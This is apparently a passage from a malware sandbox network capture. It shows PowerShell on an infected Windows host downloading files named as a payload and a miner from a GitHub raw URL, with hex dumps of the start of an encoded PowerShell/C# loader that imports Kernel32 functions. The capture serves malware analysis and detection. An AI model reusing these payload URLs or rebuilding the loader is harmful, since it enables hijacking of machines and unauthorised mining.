30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49762	185.199.110.133	443	6488	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:58 UTC	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:32:58 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 159293 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "80ad5dac8b21f93f5913af03c53e98e879731d41370452cf941cf04d26ae655d" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 3E58:16D6:EF199A:10A43C8:66E869CE Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:58 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740023-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726507979.792217,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 238f2e00682d46664b0fa6f8d57c84870b3e7e9f Expires: Mon, 16 Sep 2024 17:37:58 GMT Source-Age: 0
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49763	185.199.110.133	443	5000	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:58 UTC	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:32:58 UTC	903	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18622545 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "7212ed35f7de22eefebda6e2e6a140882d785593e9f94a152721678af4a1b44c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: C7AB:276216:D1E040:E80BFB:66E869CC Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:58 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740027-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507979.822811,VS0,VE66 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: eaf9edf12a42aa58a66d727685b8ebc09e243c17 Expires: Mon, 16 Sep 2024 17:37:58 GMT Source-Age: 0
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 17:32:58 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
